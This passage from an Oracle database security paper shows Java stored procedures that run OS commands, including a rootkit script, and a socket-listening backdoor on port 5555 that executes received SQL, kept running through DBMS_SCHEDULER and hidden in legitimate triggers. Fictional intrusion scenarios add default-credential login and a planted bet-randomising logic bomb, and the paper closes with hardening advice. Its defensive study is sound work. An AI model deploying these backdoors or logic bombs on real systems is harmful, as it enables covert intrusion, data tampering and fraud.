        Runtime.getRuntime().exec(command);
    }
};
/
```

The second step is to create a proxy procedure for the `execCmd()` method:

```
CREATE OR REPLACE PROCEDURE CMDPROC(command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'CMD.execCmd(java.lang.String)';
/
```

Commands can now be run:

```
exec javacmdproc('/bin/sh -c /tmp/rootkit.sh');
```

Planting Backdoors

Oracle offers more than enough functionality for an attacker to plant RDBMS backdoors. The first step is to figure out a way to communicate with remote processes within Oracle. There are a number of packages that allow this. The `UTL_TCP` package gives the possibility to create TCP connections and transfer raw data, but only allows to initiate connections, not to receive them. There also the `UTL_HTTP` and `UTL_SMTP` packages which allow to communicate with web and mail servers, respectively.

Nevertheless, the technique that allows for greater flexibility is Java. Since all standard Java classes can be used, it is possible for an attacker to create a listening server on an arbitrary port and feed SQL commands through it. There are, however, some obstacles to overcome.

But first things first. A skeleton for an Oracle Java listening server is as follows:

```
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "ORASERV" AS
import java.net.*;
import java.io.*;

public class ORASERV {
    public static void go(String arg) throws IOException {
        ServerSocket server = new ServerSocket(5555);
        byte[] bytes = new byte[1024];
        for(;;) {
            try {
                Socket sock = server.accept();
                InputStream in = sock.getInputStream();
                OutputStream out = sock.getOutputStream();
                int len;
                while((len = in.read(bytes)) > 0) {
                    /*
                     * Do whatever evil actions
                     */
                }
                in.close();
            } catch (IOException e) {
                e.printStackTrace(System.err);
            }
        }
    }
};
/
CREATE OR REPLACE PROCEDURE GO(p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'ORASERV.go(java.lang.String)';
/
```

The above code creates a Java class with the method `go()` that creates a listening server on port 5555. Once a connection is accepted it reads input from the socket, performs some evil actions based on the input, and may send some response back to the client.

When trying to run the procedure, an attacker, even with DBA privileges, will most likely be confronted with the following error.

```
ORA-29532: Java call terminated by uncaught Java exception:
java.security.AccessControlException: the Permission
(java.net.SocketPermission localhost:5555 listen,resolve)
has not been granted to DBSNMP.
```

Explicit privileges must be granted to allow for creating a listening socket and receiving incoming connections:

```
dbms_java.grant_permission( 'DBSNMP', 'SYS:java.net.SocketPermission',
'localhost:5555', 'listen,resolve' );
```

But the biggest problem is that when the session used to launch the procedure is closed, the procedure is destroyed. So, it is not possible for an attacker to close the session and leave procedure running. There is no point in having a backdoor running from within an open session. There is, however, a solution. Remember the DBMS_SCHEDULER package? It is possible to schedule the backdoor procedure to be executed at some point later in the future, and, then, close the session. The Oracle *coordinator* - which is responsible for executing scheduled actions - then picks up the procedure at the scheduled time and executes it. This even gives the attacker the possibility to run the backdoor during a specific time and period.

```
BEGIN
  dbms_scheduler.create_job( job_name          => 'evilbackdoor',
                             job_type         => 'STORED_PROCEDURE',
                             job_action       => 'ORATROJAN.go(')',
                             start_date      => '07-SEP-06 09.50.00 AM GMT');
END
```

So, the attacker has the ability to accept remote connections, transfer data, and run the procedure in the background. The only thing missing is to do something useful with the backdoor. This is not a problem, really. The attacker has access to the full Java functionality, this includes executing dynamic SQL statements, calling PL/SQL or other Java stored procedures, even establishing connections to other databases via JDBC. Here is an example code of a backdoor that executes dynamic SQL statements received through the socket:

```
public class ORASERV {
  public static void go(String arg) throws IOException {
    ServerSocket server = new ServerSocket(5555);
    byte[] bytes = new byte[1024];
    for(;;) {
      try {
        /* Get a default database connection using Server Side JDBC Driver */
        Connection conn = new OracleDriver().defaultConnection();
        Socket sock = server.accept();
        InputStream in = sock.getInputStream();
        OutputStream out = sock.getOutputStream();
        int len;
```

```

while((len = in.read(bytes)) > 0) {
    /* Execute the statement received from the socket */
    Statement stmt = conn.createStatement();
    stmt.executeUpdate(bytes);
}
in.close();
} catch (IOException e) {
    e.printStackTrace(System.err);
}
}
};

```

Hiding

After a backdoor is installed it becomes important, for the attacker, to hide it from DBAs. An experienced DBA can easily spot backdoors by inspecting the database for suspicious procedures or triggers.

One possibility for hiding backdoors would be to use the row level security feature which, basically, allows the creation of triggers for SELECT statements that make possible appending *where* clauses to specific queries, thus filtering out undesired rows. Fortunately, for the DBA, it is not possible to apply row level security inside the SYS schema, protecting this feature from abuse.

An attacker can, however, use legitimate triggers or procedures and augment them to perform some malicious action. Unless the DBA inspects the contents of every trigger and procedure in the database (unlikely), it becomes very difficult to spot these malicious triggers or procedures without some automatized checking (such as a cryptographic integrity mechanism).

6 Real-World Scenarios

6.1 The Lazy Sysadmin at Cowboy University

The Computer Science department at the Cowboy University decided to set up an Oracle database for students to use for their course work. Since the campus' laboratories do not have the capacity to accommodate all the students enrolled, it was decided that the database should be

accessed from the Internet so the students could work from their houses.

The overloaded system administrator installed Oracle Database together with the Oracle Application Server in a dedicated machine, changed the perimeter firewall rules to allow incoming traffic for ports 1521 and 7777, for the TNS listener and the HTTP Application Server, respectively. Confident on the good behavior of the students, and the fact that the database was not supposed to be used to hold any sensitive information, but rather as a sandbox for students to learn about SQL and relational databases in general, he did not went into much effort to properly secure the database. He also decided to open port 22 for remote SSH accesss in case there was the need to perform some quick fixes. He called it a day and sent an e-mail the Database Systems Fundamentals professor, notifying him that the database was up and running. The professor logged on to the database to check if everything was working OK, and posted the TNS listener address together with a hypertext link to the Application Server's homepage on the course web site.

That link was the beginning of a nightmare for the whole computer system department.

Some weeks later, John B., an unemployed college dropout with too much time on his hands, picked up an underground hacker document about using search engines to attack Oracle databases. Thrilled with this new information, he opened Google in his Firefox web browser, typed isqlplus release in the search box and hit search button. The results returned a few uninteresting entries, a couple of Oracle propaganda pages, but the seventh entry was, indeed, alluring for his, ethically underdeveloped, mind. It read something like:

```
iSQL*Plus Release 9.2.0.5.0 Production: Login  
iSQL*Plus logo. Help · Help. Login. Username:. Password:. Connection Identifier:  
oracs.cowboy.edu/isqlplus - 3k - Cached - Similar pages
```

He clicked the link which led him to a iSQLplus login form. He opened another tab in Firefox and quickly searched Google for default Oracle logins and passwords. He went back to the iSQLplus tab, typed SCOTT in the username box and TIGER in the password box, clicked the login button, and was presented with a iSQLplus interface for the database. He now had the power to run any SQL commands he wished in this Oracle database, apparently belonging

to Cowboy University. He felt a sudden rush of adrenaline, intoxicated with excitement, lost the few remaining common sense he had left, and relentlessly proceeded to further expand the attack.

A few queries to the database showed nothing of interest, no credit cards, no social security numbers, or any other kind of, potentially empowering, information. Nothing he could brag about to his friends. Nevertheless, being the smart kid he his, he quickly managed to gain DBA status by exploiting a SQL injection vulnerability present in the PL/SQL DBMS_EXPORT_EXTENSION package by copy-pasting an exploit someone posted into one of the hacker boards he frequently visited [23].

From this point on, it took him only about 20 minutes to learn how to execute Operating System commands from within Oracle, and create an OS account for later access via SSH.

Eager to share his most recent conquest with his dark-minded peers, he swiftly posted all the details about his technically challenging hacking of an important University's database, including the username/password for the OS account he created.

This marked the beginning of a major incident at the Cowboy University. John's bragging post unleashed a horde of script kiddies who, in the blink of an eye, used the compromised host to launch attacks further into the University's network leaving a trail of destruction behind them. It did not took 4 hours for the Cowboy University web site to be defaced. Amongst the despair of the system administrator, for whom the attacks seemed to be coming from everywhere, two days later, the IMAP server was compromised exposing the faculty's e-mail, and a week later personal information along with social security numbers for more than 5,000 students were posted in several hacker web sites across the globe.

Heads rolled in the Computer Science department. Still to this day, the most skeptical believe that intrusions resulting from this incident are not completely eradicated from the University network.

6.2 The Betting Exchange

BetBazaar.com is a company that runs a peer-to-peer betting web site, where users can both, make bets, and accept bets from other users, for all kinds of sporting events. The company's income comes from charging a small commission from the winner of every settled bet. The financial results from the last quarter shown an astronomical profit, and the web site kept attracting users at an incredible pace.

The site architecture consisted of an Oracle Application Server that provided the web front-end, and an Oracle database that was responsible for maintaining all betting information, running in separate machines. The core of business logic, implemented in Java/SQL, resided at the database, and provided a simple interface that was called from the Oracle Application Server.

The systems management team of BetBazaar.com consisted of competent professionals with a couple of people highly specialized in Oracle administration. The site security was very tight, input was validated at various layers, the database properly enforced the principle of least privilege, and the only machines allowed to connect to the host running the Oracle database was the Oracle Application Server host, and a second machine in the internal network that was used by the DBAs to perform database administration.

The site developers could only work on their desktop machines and were not allowed to take any work outside the company walls. Any changes made to the code were then submitted to the DBAs who would apply it to the database or application server. Every developer desktop machine ran an Oracle installation that mimicked the original production database for testing purposes. These databases were usually installed from backup tapes of the original database.

Unfortunately, the protection of the backup tapes was overlooked by the management team. Their contents were not cryptographically protected, and when they were not lying around at some developer's desk, they were usually stored in a common shelf.

Armed with this knowledge, Mike, an ex-employee who was fired for sleeping on the job, had spent the last couple of weeks scheming an evil plan in order to prove himself smarter.

Despite being let go by the company in a litigious process, Mike was regarded as a cool

guy around the office, and kept in touch with his ex-colleagues with whom he regularly chatted in MSN Messenger. One day, in one of those informal conversations, Terence, a light-hearted, but naive, nerdy guy told Mike that the developer's desktop machines were to be replaced next week by new workstations loaded with all sort of cutting-edge hardware.

Mike took the hint. The next day he went to the company's headquarters under the pretext of settling some bureaucratic issues with the HR department. After his meeting with the HR representative, he came by the office to say hello. Amidst friendly conversation, he took a backup tape that his friend Terence normally used to install Oracle, and put it under his coat. He was certain that Terence would use that backup tape when the new workstations arrived.

Back home, knowledgeable of BetBazaar.com code internals, he planted the following malicious snippet of code inside that backup tape:

```
public Class FootballMatch {  
  
    (...)  
  
    /*  
    * This function settles a bet. It iterates through all bet placed on  
    * the FootballMatch and deposits the money on the winners' accounts.  
    * @param outcome The outcome of the match. Can be '1', 'X', or '2', for  
    * home win, tie, or away win, respectively.  
    */  
    public void settle() {  
        if (this.id > 7234429) {  
            char oa[] = new char[] {'1', 'X', '2'};  
            outcome = oa[(new Random()).nextInt(2)];  
        }  
  
        (...)  
  
    }  
}
```

Mike was not really interested in profiting, just taking revenge. He changed the `settle()` method such that, when the football matches identifiers reached a certain number (not too far away in time), the bets were to be settled randomly, instead of being settled according to the result of the matches. The `FootballMatch` class' maintenance was directly under Terence's

responsibility, and Mike knew he used to make frequent changes to it, as BetBazaar.com regularly introduced changes to the betting system.

A few days later Mike returned to the HR department to pick up some papers, but not before swinging by the old office to leave the tampered with tape in Terence's desk.

The seed was planted. It was only a matter of time until Terence's new desktop machine arrived, a database copy from the backup tape be restored to it, and the 'undocumented feature' to propagate to the production database.

Luckily for BetBazaar.com, the malicious code was in plain sight and Terence caught it while fixing some bugs in the class. The management team called out an emergency meeting, but, still to this day, they are scratching their heads about how that code ended up in that backup tape.

7 Conclusions

The Oracle RDBMS definitely requires a compromise in terms of security. What makes it a great product is the exact same thing that makes it a security headache: it has a gigantic feature set.

A rule of thumb regarding such systems is that less is more. Upon deployment, the absolute minimum of features should be installed, everything should be disabled by default, unless it is really necessary. Considering using an alternative, simpler RDBMS, that is easier to control and manage is also a valid option.

When it comes to management, the religious application of the principles depicted in Section 4.1 is absolutely necessary, although never guaranteed to be sufficient.

Two aspects mentioned, but not covered, by this paper should also be considered: auditing, which is formidably supported by Oracle [10, 18]; and end-to-end encryption which, unfortunately, Oracle lacks and proper support must be obtained via third-party applications.

Not to say that it is not possible to have a reasonably secure and functional Oracle deployment, but having lots of features also means lots of potential bugs. Its inherent complexity

makes its correct administration a job that requires a great deal of effort and skill. A product of Oracle's size is just too difficult to design, implement, and manage securely.

References

- [1] Little cat Z Ltd. Oracle Database management system security standard. <http://www.littlecatz.com/standards/oracle/oracle.html>, 2003.
- [2] Privacy Rights Clearinghouse. A chronology of data breaches reported since the ChoicePoint incident. <http://www.privacyrights.org/ar/ChronDataBreaches.htm>.
- [3] Integrigy Corporation. Oracle Database listener security guide. Technical report, 2004.
- [4] Oracle Corporation. Oracle Application Server. <http://www.oracle.com/appserver/index.html>.
- [5] Oracle Corporation. Oracle Database. <http://www.oracle.com/database/index.html>.
- [6] Oracle Corporation. Oracle Database security checklist. Technical report, 2005.
- [7] Saint Corporation. Vulnerability Tutorial: Oracle TNS Listener. <http://www.saintcorporation.com/>.
- [8] P. Finnigan. SQL injection and Oracle. Securityfocus.com, November 2002.
- [9] P. Finnigan. Detecting SQL injection in Oracle. <http://www.securityfocus.com/infocus/1714>, July 2003.
- [10] P. Finnigan. Introduction to simple Oracle auditing. <http://www.securityfocus.com/infocus/1689>, April 2004.
- [11] P. Finnigan. Oracle Database checklist. Technical report, SANS Press, 2004.
- [12] P. Finnigan. Oracle Row Level Security. Securityfocus.com, April 2004.
- [13] P. Finnigan. *Oracle Security Step-by-Step*. SANS Press, 2004.
- [14] B. Fonseca. Oracle shifts to quarterly patch cycle. <http://www.eweek.com/article2/0,1895,1729364,00.asp>, November 2004.

- [15] D. Knox. *Effective Oracle Database 10g Security by Design*. Brandon A. Nordin, 2004.
- [16] D. Litchfield, C. Anley, J. Heasman, and B. Grindlay. *The Database Hacker's Handbook: Defending Database Servers*. Wiley Publishing, Inc., 2005.
- [17] K. Mookhey and N. Burghate. Detection of SQL injection and cross-site scripting attacks. <http://www.securityfocus.com/infocus/1768>, March 2004.
- [18] A. Newman. Database activity monitoring: Intrusion detection & security auditing. Technical report, Application Security, Inc.
- [19] A. Newman. Search engines used to attack databases. Technical report, Application Security, Inc.
- [20] rain.forest.puppy. NT web technology vulnerabilities. *Phrack Magazine*, 8(54):8, December 1998.
- [21] Marlene T. and William H. *Oracle Security*. O'Reilly, 1998.
- [22] Toolcrypt. orabf: a brute force/dictionary tool for Oracle hashes. <http://www.toolcrypt.org/tools/orabf/>.
- [23] US-CERT. Technical cyber security alert TA04-245A. <http://www.us-cert.gov/cas/techalerts/TA04-245A.html>, 2004.
- [24] J. Wright and C. Cid. An assessment of the Oracle password hashing algorithm, October 2005.